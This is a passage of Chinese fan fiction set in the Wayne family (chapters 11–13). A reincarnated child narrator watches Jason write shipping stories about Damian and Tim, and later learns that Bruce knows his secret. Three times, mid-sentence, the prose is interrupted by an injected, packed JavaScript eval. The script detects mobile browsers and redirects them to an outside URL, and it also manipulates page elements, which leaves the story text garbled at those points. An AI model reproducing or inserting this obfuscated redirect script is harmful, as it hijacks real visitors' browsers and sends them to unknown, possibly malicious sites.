没有早上六点准时出现在我床边,没有挥舞着笔记本怼到我脸上,没有那双“你快看我新写的你快看”的期待光芒。 安静得不像话。 我甚至一度怀疑他是不是被达米安抓去加练了(虽然这傻孩子到现在还以为是有钱人家的健身课),或者被布鲁斯拉去上礼仪课了——直到那天下午,他像一阵风一样冲进我的房间,手里抱着一摞纸,眼睛亮得像两颗灯泡。 “艾格!你看这个!还有这个!还有这个这个这个!” 铺天盖地的纸张和文字向我袭来,我仿佛能从字里行间看到一个疯狂而勤奋的杰森。 我愣了一下:“你这几天就是在忙这个?” 杰森疯狂点头,兴奋得像只刚叼回一整套飞盘的狗:“我在闭关!闭关懂吗!灵感爆发!文思泉涌!你看这段!” 他把其中一页怼到我脸上。 我低头看去—— 【夜深了,韦恩庄园陷入沉睡,只有东翼书房的灯还亮着。 他站在窗前,背影被灯光拉得很长。身后传来轻轻的脚步声。 他没有回头。 “你还没睡。”他说,声音听不出情绪。 身后的人停住。 “你也没睡。”那个声音轻轻的,带着一丝不易察觉的哀伤,“我......煮了咖啡。” 他转身。 他端着托盘站在门边,垂着眼睛,睫毛在灯光下投下一小片阴影。 他走过去,接过托盘。手指相触的瞬间,他感觉到他颤了一下。 他没有缩回手。 他抬起头,对上他的目光。 那一刻,窗外的月光忽亮,像谁在偷看。】 “......这是昨晚的事?” 杰森疯狂点头:“我亲眼看见的!提姆端着咖啡进书房!达米安接过杯子!他们对视了!至少三秒!” 我思考了一下昨晚的真实情况—— 提姆端着咖啡进书房,因为他又在熬夜处理公司文件。达米安接过杯子,因为那是他每天这个时间点的固定咖啡。他们对视了——准确地说,提姆抬头看了达米安一眼,确认他没有皱眉(咖啡温度应该是对的),然后低头继续看屏幕。 整个过程不超过一秒。 “三秒?”我问。 杰森理直气壮:“在我的记忆里是三秒!” 我:“......” “在我的记忆里”——好家伙,这创作声明,硬核真实程度不亚于哥谭犯罪率为零。 11. 第 11 章 问题是,杰森不满足于自己写,他还非要拉我一起“分析”。但凡我有点脑子都知道他想拉我入坑的心没死。 “你等着看吧,”早餐时间,杰森凑到我耳边,用气声说,“达米安的咖啡,永远是提姆端的。别人端的他不喝。” ?何意味?这有什么值得说道的吗?我也给家里所有人都端过咖啡啊? 不过为什么提姆要给他送咖啡?因为是他推荐的吗? 我不理解,这可能是逆序12(正序43)兄弟的独特相处吧。 我看了一眼餐桌,虽然杰森的声音算不上小,但其他人基本上对杰森小动作的视作不见又很好地弥补了这一点,甚至称得上装聋作哑。 布鲁斯边吃早餐边像模像样地看报纸,我不明白那页八卦有什么好看值得他看一整个早餐时间——最大的版块还是他自己和多名超模的绯闻。 阿尔弗雷德照常端着咖啡壶走向达米安。 达米安微微颔首,接过咖啡,喝了一口。 我一脸“看你怎么解释”地看向杰森。 杰森面不改色:“今天例外。一定是提姆昨晚熬夜,达米安让他多睡一会儿。” “你怎么知道提姆昨晚熬夜?” 杰森理所当然地说:“我两点起来上厕所,看见他书房的灯还亮着。” “那你怎么知道是达米安让他多睡一会儿?” “因为今天早餐提姆晚了三分钟才出现!平时都是和达米安一起下来的!今天他自己下来的!达米安已经在餐桌上了!这说明什么?!” 我用常人的思维想了想,得出结论:“说明......提姆今天起晚了。” 杰森痛心疾首:“你不懂!这是恶魔难得的温柔!他故意不叫醒他,让他多睡一会儿!你看——”他又掏出笔记本,飞快地写:【今日新发现:恶魔为爱破例,独自下楼用餐;小可怜得以安眠,迟来三分钟。细节见真情!】 我看着他写,嘴角抽搐。 ——细节见真情,这话倒是没错。但“真情”的方向好像不太对。 如果只是以上这些不痛不痒的外部“信息轰炸”,我尚且能泰然处之,毕竟我好歹是个正儿八经的哥谭美帝粉,这点坚定和优越感还是有的。然而,更让我崩溃的是—— 我居然开始期待杰森的“闭关成果”了!连他拉我去蹲点都没那么抗拒哩(悲)! 那天下午,他拉着我去“蹲点”。两人躲在走廊转角的那盆绿植后面。我开始怀疑这盆绿植是不是特制的,为什么每次都没人发现我们,或者说,他们看见了也不想理。 达米安和提姆从外面回来,边走边说话。 杰森压低声音,将我在往外张望的头按下去:“来了来了——准备准备——” 达米安:“德雷克,今天下午三点的会议记录,整理好发我。” 提姆:“已经发到你邮箱了,在你进门之前。” “下次这些活你让秘书干吧。” 达米安脚步顿了一下,“你……” “还有,”提姆继续说,“法务部关于供应商的评估报告今晚八点前能出来。你明天早上九点和布鲁斯有会,我把报告时间往前调了,你今晚可以提前看。” “下……” “下个季度的预算,我已经安排他们做好了,你和布鲁斯商量这周之内找个时间过一遍。” 提姆好整以暇地看看腕表,挑眉。 “……知道了。” 两人继续往前走,直至消失在视野里。 杰森激动得浑身发抖,双手捧住心脏满脸甜蜜:“你听到了吗!!!‘在你进门之前’!!!他在预判他的需求!!!‘我把报告时间往前调了’!!!他在为他考虑!!!‘知道了’!!!达米安的语气——你听到没有——比平时温柔了至少0.5个度!!!” 我回忆了一下达米安的语气。 “知道了。” 三个字,没有起伏,没有情绪。 不是——杰森到底是从哪里听出0.5个度的温柔的? 明明对情绪感知最敏锐的那个人是我!难道他也有着中能力吗? 但当晚,当我坐在杰森房间里、看着他新鲜出炉的章节时,我沉默了。 果然,情人眼里出西施,CP粉眼里出真爱。 【他们并肩走进庄园。 “德雷克,今天下午三点的会议记录,整理好发我。”他说。 这不是命令,是习惯——习惯对他开口,习惯由他来回应。 “已经发到你邮箱了,在你进门之前。”他说。 他的声音很轻,但眼睛里有一点光。那光的意思是:我知道你会问,所以我提前做好了。 他脚步顿住。 他没有回头,但他知道他停顿的那一秒,是在消化那句话里的深意。 “法务部关于供应商的评估报告今晚八点前能出来。你明天早上九点和老爷有会,我把报告时间往前调了,你今晚可以提前看。” 他在为他考虑。不是执行命令,是主动思考——思考怎样让他更轻松,怎样让他少一点负担。 沉默。 两秒的沉默,像一整个世纪那么长。 然后他开口。 “……知道了。” 只是三个字。 但他知道,那三个字里,藏着一句说不出口的“谢谢”。 ——也藏着一句更说不出口的,“有你在,真好”。】 我合上笔记本。 杰森高兴地给自己鼓掌,这家伙已经完全沉浸在自己的世界里了:“怎么样?” 我张了张嘴,最终摇摇头又点点头。 杰森,你写的这些都是你的脑补。 达米安的沉默可能只是在算今晚还有多少工作,或许还对提姆的高效率感到震惊和欣慰。 而提姆,他将一切安排得好是因为他本来就有能力。还是个控制狂,不是因为他爱达米安。当然,控制狂和爱并不冲突。 不对,现在不是说这个的时候。 总之,我还是可悲地听见自己说: “……‘有你在,真好’这句,是不是有点过?”好肉麻好OOC! 杰森眼睛亮了,露出一个赞许的笑:“你也觉得有点过?那改成‘有你在,我很放心’?” “……这不是更过吗?”有区别吗! 杰森挠头:“那,那‘你做得不错’?太普通了……‘我很满意’?像领导评价……” “本来就是领导啊。”不然还能是什么?! 杰森瞪我:“啧,这是爱情!是隐藏在上下级关系下的暗涌!你不懂!”童养媳的事,能叫一般上下级吗?! 我闭嘴了。 ——我刚才居然在和杰森讨论“哪句台词更适合达米安对提姆说”。 我居然参与了创作讨论。 我完了呀(悲)。 ———— 当天晚上,小小的我再一次躺在床上,再一次望着天花板,再一次进行着严肃的自我反思。 我有罪,我是个一直不坚定的人,不禁没能纠正杰森的离谱想法,还在他一眼假的各种堪称造谣的“证明”里一步步被洗脑,到现在立场已经摇摇欲坠,离深渊只有一步之遥。 那么,仔细盘点一下,吃过蝙布细糠的我为什么会被杰森的米提饭吸引呢? 问题一:杰森写的东西,到底哪里好看? 我仔细分析 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17454790|201214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一下。 杰森的文字有一种奇特的魔力。他把那些平凡的、琐碎的、不值一提的日常—— 达米安递给提姆一杯咖啡。 提姆提前准备好达米安要的文件。 两人在走廊擦肩而过时,提姆侧身让了一下。 达米安吃饭时把盐罐往提姆那边推了推。 ——把这些日常,写成了充满张力的、让人想看下一章的……爱情小说。 而且他写得真的很认真,那种认真不是他简陋的语言能掩盖的。 每一段都有细节描写,每一个眼神都有解读,每一次沉默都有潜台词。 他甚至给人物写了小传。 我在杰森房间里看到过一张纸,上面写着: 【恶魔(达米安,但我不想叫他的名字): 表面冷酷无情,实则内心孤独。从小被培养成继承人,不懂什么是爱。直到遇见他——那个胆敢直视他眼睛的少年。 他开始学,笨拙地学。用命令代替关心,用控制代替保护。 他不知道怎么做才对——只知道不能让他离开。 (关键词:傲娇、控制欲、口是心非、逐渐沦陷)】 【小可怜(提姆!你一定要支棱起来啊!): 表面顺从听话,实则内心坚韧,被困在这个冰冷的家里。但他没有放弃希望,妄想用爱感化一颗冰冻的心。(从笔迹上看这段写得是咬牙切齿,恨铁不成钢) 他懂他——这是最可悲而难以言明的枷锁。懂他每一个眼神,每一次沉默。他知道那些命令背后是担心,那些控制背后是害怕失去。 他心甘情愿留下——不是因为逃不掉,是因为不想逃。 (关键词:聪明、隐忍、温柔、看透一切、清醒却沉沦)】 我看完这张纸的时候,沉默了整整一分钟。 ——这他布鲁斯的是人设小传??? ——这是出版级别的角色分析好吗!!! 我当年写《爱与欲之渊》的时候都没写过! 问题二:我到底应不应该"嗑"这个CP? 理智告诉我:不应该!这他蝙蝠侠的是兄弟情,这是超级英雄家庭的日常。这是两个累得要死的打工人互相扶持。 但情感告诉我:就是……写得真的很好嗑啊。那真相再真也掩盖不了好嗑的事实啊。 尤其是杰森最新写的那段“雨夜”—— 【雨下了一整天。 他站在窗前,看着窗外的雨幕,手指无意识地敲着窗台。 他不在。 他出门办事,说好六点回来。现在七点半了,雨这么大,他还没回来。 他告诉自己,这是在担心工作失误。 但他知道,不是。 他担心的是他。 八点整,门被推开。 他浑身湿透地站在门口,头发贴在额上,睫毛上还挂着水珠。 他看着他,张了张嘴,想说“你怎么这么晚”,想骂他不按时回来,想质问他为什么不躲雨。 但他什么都没说。 他只是走过去,把一条干毛巾扔在他头上。 “下次带伞。”他说。 他接住毛巾,擦着头发,轻轻笑了一下。 “知道了。” 窗外,雨还在下。】 我看完这段的时候,脑子里只有一个念头: 达米安和提姆之间要是真有点什么,大概就是这个样子吧。 如果是我来写,那么感情基调应该是: ——平淡而无言的默契,未尽却已明的爱意。 然后我猛然从梦中惊醒。 补豪! ——我被杰森洗脑了! 12. 第 12 章 我决定反抗。 不能再这样下去了,绝对不能!每次杰森拿着笔记本冲进来,我就跟着上头,跟着讨论,跟着“嗑”——这像什么话?!我一个穿越者(尚且先这么定义吧),一个知道“真相”的人,怎么能被一个十二岁小孩的CP脑带偏? 今天,我要彻底扭转局面,将杰森的脑子掰回来。 早餐时,我刻意观察达米安和提姆的互动,试图找出“他们只是兄弟”的铁证,准备用事实打脸杰森。 达米安坐下,提姆跟着坐下。 达米安拿起刀叉,提姆拿起刀叉。 达米安吃一口,提姆切培根。 达米安喝咖啡,提姆喝咖啡。 达米安把咖啡杯放回桌上,提姆看了一眼杯子。 ...... 同步率这么高吗!!!这是要去驾驶机甲吗??? 【这不是训练出来的服从。 这是......刻进骨子里的在乎。】 我用力甩甩头,试图将杰森的洗脑包甩出脑子。冷静,冷静,冷静。这只是长期共事养成的习惯,和爱情没有半毛钱关系。 我继续观察,寻找突破口。 早餐结束,达米安起身,提姆跟着起身,顺手把达米安用过的餐巾叠好,放在盘子旁边。两人一前一后走向书房,提姆始终跟在他身后半步的位置。 走到门口时,达米安忽然停住,提姆也停住。达米安侧头看了他一眼,提姆微微低头。达米安推开门走进去,提姆跟着进去,轻轻关上门。 杰森不知道什么时候凑到我身边,压低声音:“看到没有?门口那一眼——那是确认他有没有跟上来!提姆低头——那是害羞!关门——那是把全世界关在外面,只留下他们两个!” 我深吸一口气。我真是求你了,杰森,少说两句吧 不过倒也是个机会。 我转过身,认真地看着杰森:“杰森,你有没有想过——万一他们之间,真的只是兄弟?” “又或者说,兄弟之间也能做到这些?”不要小瞧蝙蝠家的羁绊啊。 杰森愣住了,表情像听到了什么不可思议的话:“兄弟?兄弟能这样?” 瞧瞧他没见识的样子!没关系,以后他也会其中一个。 “哪样?” 杰森掰着手指数:“第一,同步率百分之两百。第二,一个眼神就能沟通。第三,互相照顾到每个细节。第四,寸步不离。第五——” 我打断他:“这些兄弟也可以啊。” 杰森瞪着我:“你和你兄弟会这样?” 我想了想主世界的迪克和达米安——迪克追着达米安喂他吃补剂,达米安翻着白眼吃下去;迪克受伤的时候达米安面无表情地递绷带,绷带递完还要补一句“蠢”;迪克笑着揉他的头,达米安嘴上骂着“别碰我”,但也没躲开。 “……会啊。”我支支吾吾地说。 虽然看起来像是爸爸带孩子,但你就说他们是不是兄弟吧! 杰森像看外星人一样看着我。 “你们家……挺特别的,这都能行。” “能,一定能。”我斩钉截铁,“同步率高不代表爱情,一个眼神能沟通是因为合作久了,互相照顾是因为他们是一家人。你说的这些,放在任何一对关系好的兄弟身上都成立。” 杰森瞪大了眼睛,像是在看一个外星人:“你认真的?” “我认真的。”我挺起胸膛,“你想想,如果你和未来的家人一起生活久了,你们也会同步,也会一个眼神就懂对方在想什么。但那不是爱情,那是——” “那是亲情。”杰森接过话头,语气忽然变得很平静。 我大喜过望:“对!就是亲情!” 杰森看着我,用怜惜的目光看着我。 然后他拍了拍我的肩膀,用一种悲悯的语气说:“艾格,你真的不懂。亲情和爱情的区别,就在于——你会不会因为对方不在而想象不出来未来的样子。” “……那也可以是亲情啊!”这家伙怎么油盐不进啊?! 杰森摇摇头,掏出笔记本,翻到某一页递给我:“你看看这个。” 我低头一看,是他新写的一段: 【深夜,提姆在书房睡着了。 达米安路过,没有叫醒他。他只是把自己的外套脱下来,披在提姆肩上,然后关掉了半边的灯。】 “家人也会披外套啊!”我挣扎道。 “会。”杰森点头,“但家人不会在披完外套之后,站在门口看三十秒。达米安看了三十秒。我数的!”他骄傲地挺起胸膛。 我深感无力:“……” 以后就封他为时间控制大师好了,天天掐秒数时长。 杰森的眼神变得深邃,像一位看破红尘的哲人:“艾格,你是个好孩子。你很聪明,观察力也不错。但你在感情这件事上,太理性了。“ “爱情不是靠‘找证据反驳’来理解的——你得去感受。” 我差点一口老血喷出来。 我理性?我一个嗑蝙布嗑到累计写出百万字虐文的人,被一个十二岁小孩说“太理性”?! 但我不能暴露。我只能咬着牙说:“……你说得对,我还是个孩子。” 杰森满意地点点头,然后话锋一转:“对了,既然你终于开始思考这个问题了,要不要正式加入我的‘米提观察小组’?目前成员只有我一个,但你来了就是元老!” “……什么小组?” “米提观察小组!”杰森眼睛发光,“专门负责记录、分析、推广达米安和提姆之间的绝美爱情!你是第一个被我邀请的人!荣幸吧!” 我盯着他伸出来的手,陷入了深深的沉思。 这家伙,居然想拉我入伙?! 我本来是想纠正他的。结果不但没纠正成,反而被他反向洗脑,现在还要被拉进他的CP后援会?想都别想! 一种莫名的恼火涌上心头,是一种无能为力又无可奈何的挫败感。说不听,讲不明,现在还能怎么办呢?当然是随他去吧。 但我转念一想—— 等等。 我为什么要纠正他?因为我好心,我善良,我不希望他走我的老路。 反正没办法,那他爱嗑就嗑呗。反正早晚有一天,真相会像蝙蝠车一样撞在他脸上,就像我当时一样。 到时候,他写的那些东西,他说的那些话,他拉着我分析的每一个“糖点”——全都会变成他社死的呈堂证供。 而我,从头到尾都是“被拉着”的那个。 我只是一个无辜的旁观者呢,我能有什么错呢~ 一个被迫参与讨论的、善良的、不忍心打击朋友热情的、无辜的旁观者。 想到这里,我的嘴角忍不住微微上扬。 “怎么样?”杰森还在眼巴巴地等着我的答复。 我深吸一口气,露出一个温和、善良、人畜无害的微笑,足足用了十年功力。 “杰森,我觉得你写得特别好。” 杰森眼睛一亮。 “你应该继续写,写更多,写更细,把每一个细节都记录下来。”我语重心长地说,“这么绝美的爱情,怎么能只有我一个人看到呢?你应该让更多人看到。” 杰森激动得差点跳起来:“你也这么想?!” “真的。”我用力点头,“我支持你,全力支持你。你想给我看什么,我都看。你想让我分析什么,我都分析。你想让我帮你参谋台词,我帮你参谋。” “杰森哥哥最棒啦!”这话听了我自己都要吐了。 杰森整个人都燃起来了:“艾格!你真是我的知己!” 他扑过来就要抱我,我灵活地闪开了。 “但是,”我补充道,“我有一个要求。” “什么要求?你说!” “你写的所有东西,都要保留好。一份都不能丢。” 杰森愣了一下:“为什么?” 我露出一个意味深长的笑容:“因为——这么珍贵的历史记录,丢了多可惜啊。” “想想未来有一天,你可以和其他人说,是你第一个发现了他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17454791|201214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的关系,多有先见之明啊!” 杰森没听懂,但他用力点头:“你放心!我的笔记本就是我的命!谁都不许碰!” 我满意地笑了。 保存好,杰森。 每一本都要保存好。 等你知道真相的那天,我会准备好爆米花和嘲笑的。 ———— 当天下午,杰森又来找我。 这次他带来的是新写的章节,标题是《他总是看他》。 我麻木地接过来,低头仔细品鉴。 【他总是看他。 吃饭的时候,他在看他。 他低头吃饭,睫毛垂下来,在脸颊上投下一小片阴影。他不知道他在看他。 走路的时候,他在看他。 他走在他身后半步,侧脸的线条在走廊灯光下显得柔和。他不知道他在看他。 工作的时候,他在看他。 他盯着屏幕,偶尔皱眉,偶尔咬笔头。他不知道他在看他。 他在看他,看了无数次。 他以为他不知道。 但他知道。 每一次他看他,他都知道。 他只是在假装不知道。 因为如果他知道了,他就不能继续这样看他了。 ——而他不想失去他的目光。】 杰森期待地看着我:“怎么样?” 最近吃多了这些流水账多少有些不适,杰森的水平忽高忽低,很大程度上取决于最近学到了什么。于是我只能真诚地说:“最后那段反转写得真好。‘他以为他不知道,但他知道’——这个设计绝了。” 杰森眼睛亮得像两颗星星:“是吧是吧!我琢磨了好久!” 我点头:“继续写!下一篇什么时候出?” 杰森愣了一下——他大概没想到我会主动催更。然后他疯狂点头:“马上!今晚就写!” 他抱着笔记本跑了出去。 我靠在椅背上,望着天花板,嘴角的弧度怎么都压不下去。 杰森啊杰森。 你现在写得越开心,到时候社死得就越惨烈。 而我,将全程见证。 ———— 第二天早上,杰森又来了。 但这一次,他没有带新稿子。 他坐在我床边,表情有些扭捏。 “艾格。” “嗯?” “你真的觉得我写得很好?” “真的。” “那你……有没有想过,也写一点?” 我愣住了:“什么?” “就是——”杰森挠挠头,“我觉得你挺有见解的,你要不要也试着写写?我们可以一起!” 我盯着他,内心波涛汹涌。 这家伙,拉我入伙还不够,还想让我亲自下场产粮?想得美!我的才华,只会用在蝙布文和抽象文上! 我深吸一口气,露出一个腼腆的笑容。 “杰森,我觉得我的才华不在创作上,我也不太会写字。所以把,我的人物是——欣赏你的创作。” 杰森皱眉:“可是你明明很有想法——” “不,”我打断他,“我没有。我的作用是给你提供情绪价值。你看,你每次写完给我看,我都会认真评价,真诚赞美,从不敷衍。这不比我自己写更有价值吗?” 杰森大概是被我的诡辩说服了,居然点了点头:“你说的也有道理。” “所以,”我拍了拍他的肩膀,“你负责写,我负责看。这是最好的分工!” 杰森笑了:“行!那你等着,我今晚再写一篇!” 他径直跑了出去,带着终于找到同道中人的喜悦。 杰森啊杰森。 你写你的,我看我的。 等真相揭晓的那天,你的社死我的快乐源泉,你的笔记本我的珍藏笑料。 而你,将永远不知道,你身边这个“最支持你”的人,其实一直在等那一天。 想到这里,我忍不住笑出了声。 真是美好的一天呐。 13. 第 13 章 艾格尼斯睡不着。 这已经不是第一次了。自从来到这个逆序的世界,他的睡眠就变得断断续续——有时候是因为杰森半夜溜进来“分享新章节”,有时候是因为他自己的脑子不肯安静。 也许是时间线的不同,未来才会展现的能力,对记忆和情感的感知在最近渐渐萌现。纷繁复杂的信息在这座房子里缓慢流动,令他感到困扰。 很显然今晚属于后者。 他躺在床上,盯着天花板,脑子里翻来覆去地过着白天的画面:杰森兴奋地挥舞着笔记本,眼睛亮得像灯泡;达米安面无表情地喝咖啡,提姆在旁边安静地看平板;布鲁斯坐在长桌的另一端,隔着很远的距离,像一座沉默的雕像。 那个距离让艾格尼斯在意。 不是物理上的距离——韦恩庄园的餐桌本来就长。而是某种说不清的东西。布鲁斯看着孩子们的眼神里有温柔,有纵容,但总隔着一层什么,像是怕靠得太近会打碎什么。 那真的是他想的这样吗?总感觉不太对呢…… “唉。” 艾格尼斯翻了个身,又翻了个身,最后放弃了挣扎,坐起来套上拖鞋。 既然睡不着,不如出去走走。反正这个点庄园里的人都睡了(或者也应该是夜巡回来在休息),没人会发现一个八岁小孩在走廊里游荡——就算被发现,他也可以说自己梦游、失眠、害怕。作为一个小孩子,他有太多借口。 走廊里很安静,壁灯发出昏黄的光,把地毯上的花纹照得忽明忽暗。艾格尼斯光着脚踩在厚厚的地毯上,没有发出任何声音。他经过杰森的房间——门缝里透出微弱的光,隐约能听见笔尖划过纸面的沙沙声。 是像混合着些许辣椒的甜蜜,是发自内心的愉悦和激动。 又在写了。 艾格尼斯摇摇头,嘴角忍不住翘了一下。他现在越来越理解“看乐子”的心态了——不是冷漠,而是一种……提前预知结局的从容。 杰森现在写得越多,将来社死得就越惨烈。而他,艾格尼斯·巴贝尔,将是那个坐在前排、端着爆米花、全程围观的幸运观众。 想到这里,他的脚步都轻快了几分。 他继续往前走,经过一间又一间紧闭的房门,经过那些白天被阳光照亮、夜晚却沉默不语的走廊。他开始漫无目的地摸索——摸摸墙上的油画框,试试壁灯的开关,按按某个看起来像暗门的护墙板。 “要是能发现蝙蝠洞的另一个入口就好了。”他小声嘀咕。 当然没有。他只是摸到了一手的灰——阿福要是知道了,大概会面无表情地说“艾格尼斯小先生,请让我来”,卫生死角在这个家里是不被允许的。 不知不觉间,他走到了东翼的尽头。这里有一扇很少打开的门,门上没有标牌,但艾格尼斯知道,里面是一间小书房——布鲁斯有时候深夜会待在那里,一个人。 门缝里透出光。 艾格尼斯脚步一顿。 糟了!他转身就想溜。 “艾格尼斯?” 布鲁斯的声音从身后传来,不高不低,却稳稳地绊住了他的脚。 艾格尼斯僵在原地,脑子里飞速运转。他可以假装梦游——不,布鲁斯不会信的,他的伪装向来是整个家里最差的。他可以假装路过——但这个点了,一个八岁小孩“路过”东翼尽头的小书房,说出去谁信? “来聊聊吧。”布鲁斯说。 艾格尼斯深吸一口气,转过身,脸上挂起一个乖巧的、略带腼腆的笑容。 “韦恩先生,我不知道能和您聊什么……”他低着头,看着自己的脚尖,声音里带着恰到好处的紧张和扭捏。 布鲁斯坐在书桌后面,面前摊着几页纸,旁边放着一杯已经凉了的茶。他看着门口那个红头发的小男孩,嘴角微微动了一下。 男孩像火一样灿烂的头发因为行动贴在脸颊,那双眼睛带着点水汽,安安静静地注视着他。 “不,你知道的。” 他饱含深意地指了指桌上那几页纸:“看看吧。” 艾格尼斯犹豫了一秒,最终还是好奇战胜了一切,然后走过去,踮起脚尖——不对,他现在是个小孩,够不到桌面。布鲁斯体贴地把那沓纸推过来,他只好双手扒着桌沿,伸长脖子去看。 最上面一页,是一段打印出来的文字: 【我的小鸟,留在我身边。” 是爱我吗?”夜刃说。】 嗯? 啊?! 艾格尼斯不敢相信自己看到了什么。 这是……同人文?而且是夜刃和红雀的同人文?而且这个语气、这个措辞、这个风格—— 他的目光移到页面顶端,看到了作者署名。 “米提是真爱”。 艾格尼斯的脑子“嗡”的一声。 这是杰森。 杰森在网上发了同人文。 而且布鲁斯——布鲁斯在看。 他缓缓抬起头,对上布鲁斯那双带着笑意的蓝眼睛。 “这是杰森在网络上的创作。”布鲁斯说,语气平静得像在汇报今天的天气,“还算聪明,用的是夜刃和红雀的CP。好歹没把达米安和提姆的名字直接摆上去。” “啊?”艾格尼斯觉得自己现在的表情一定很蠢。 “惊讶吗?我以为你能理解的。” “我不明白……”艾格尼斯的脑子彻底宕机了。布鲁斯知道杰森在网上写同人?布鲁斯在看杰森写的同人?布鲁斯甚至知道杰森想写的是达米安和提姆? 布鲁斯放下茶杯——艾格尼斯这才注意到他手边还有一杯茶,大概是阿福睡前准备的,也不知道他喝了还睡不睡得着——十指交叠,靠在椅背上,那双平日里或温柔或锋锐的眸子里满是笑意。 “你真的不明白吗,艾格尼斯?” 他顿了顿,声音里多了一丝玩味。 “我以为像你这样的圈内传奇,会理解杰森的。” “一个新人的开始,嗯?” 艾格尼斯的心脏漏跳了一拍。 “这也算是他的起点,值得留存纪念。” “等等。”艾格尼斯觉得自己的声音像是从很远的地方传来的,“等等。” 他灵光一现,盯着布鲁斯,一字一句地问:“你知道?” 不是问“你知道杰森写同人”——这已经很明显了。他问的是更深的那一层。 你知道我是谁。 你知道我从哪里来。 你知道我不是八岁的、单纯的、什么都不懂的孤儿院小孩。 布鲁斯看着他,没有否认。 “我毕竟是蝙蝠侠,”他说,语气里带着一丝理所当然,“多元宇宙事件还是经历过的。” 艾格尼斯站在那里,感觉自己的脸正在以肉眼可见的速度变红。 他想起了自己在正序世界写的那些蝙布同人,想起了那些深夜对着电脑敲字的夜,想起了论坛上那些“太太求更新”的留言。想起了—— 他被布鲁斯直接告诉真相,打碎他蝙布梦的那一天。 如果他什么都知道…… “你看过?!”艾格尼斯的声音拔高了八度,“你看过我写的——那些——” 布鲁斯微微点头,表情平静得令人发指:“文笔相当不错。” 艾格尼斯觉得自己可能要原地去世了。 “尤其是《爱与欲之渊》,”布鲁斯补充道,“心理描写非常细腻,难怪会火那么多年。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17454792|201214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啊啊啊啊啊啊啊——!”艾格尼斯捂住脸,恨不得找个地缝钻进去,“你不要再说了!!!” 布鲁斯看着他,嘴角的弧度终于藏不住了。 “看我笑话很有意思吗?!”艾格尼斯从指缝间瞪他,脸红得像熟透的番茄,“大坏蛋!” “很有意思啊。”布鲁斯看着小孩那张又羞又恼的脸,忽然觉得手有点痒,“看你装小孩子,多有意思啊。” “坏蝙蝠!大坏蝙蝠!” 艾格尼斯气得直跺脚,但他八岁的身体、圆滚滚的脸蛋、配上那副气急败坏的表情,杀伤力约等于一只炸毛的橘猫。而他的语言攻击性,更是堪比一根成年香蕉。 布鲁斯没忍住,伸手掐了一下他的脸。 艾格尼斯像被电了一样弹开,蹦到三步远的地方,捂着被掐过的脸颊,瞪着一双圆溜溜的蓝眼睛。 “你——!” “好了好了,”布鲁斯收回手,表情恢复了平静,但眼里的笑意怎么都压不下去,“坐下吧,站着不累吗?” 艾格尼斯瞪了他三秒,最终认命地爬上了书桌对面的椅子。八岁小孩的腿太短,坐上去之后脚尖离地还有一大截,整个人陷在椅子里,像一只塞进纸箱的小猫。 他觉得自己今天的威严已经荡然无存了。 “好吧。”他深吸一口气,努力让自己的声音听起来像个成熟的大人,“我完全理解了。” 布鲁斯挑眉:“理解什么了?” “你知道我是谁,你知道我从哪里来,你知道杰森在写什么——你知道一切。”艾格尼斯掰着手指数,“而且你一直在看戏。” “差不多。”布鲁斯坦然承认。 “那你也应该知道——”艾格尼斯顿了顿,声音忽然轻了下来,“我是你的儿子?” 布鲁斯的表情有一瞬间的复杂。 “是的。”他说,“我没想到……除了达米安,我还能有个血脉亲人。” 他的语气里有某种艾格尼斯不太能定义的东西——不是感动,不是抗拒,更像是一种……小心翼翼的确认。像是怕自己理解错了,怕这份“亲人”的关系不是对方想要的。 艾格尼斯忽然觉得有点心酸。 “需要我提醒你吗?”他撇撇嘴,语气刻意轻松,“我不是自然出生的,我甚至连义警都不是。” 最后那句话说得格外小声,像是某种不好意思承认的遗憾。 布鲁斯看着他,目光温和。 “我都不知道,成为义警是作为我孩子的必要条件。” “可是其他人都是啊。”艾格尼斯小声说,掰着手指数,“达米安、提姆、杰森、芭芭拉、卡珊德拉、斯蒂芬妮……还有迪克。” 提到迪克的时候,他忽然顿住了。 像是想起了一件很重要的事。 “对,还有迪克!”他身体前倾,两只手扒着桌沿,急切地问,“他现在在哪?” 布鲁斯没有立刻回答。他端起那杯已经凉了的茶,抿了一口,然后放下。 “和他父母在一起。”他说,声音很轻,像是怕惊到什么,“他现在很好。” 艾格尼斯愣了一下。 “冷静点,艾格尼斯。”布鲁斯伸出手,轻轻摸了摸他的头,“他现在很好。” 那只手很大,很暖,落在头顶的重量刚刚好。 艾格尼斯原本慌乱的心,在这份温度里一点一点平息下来。 “是的。”他小声说,“他现在很好。” 他垂下眼睛,看着自己悬在半空的脚尖。 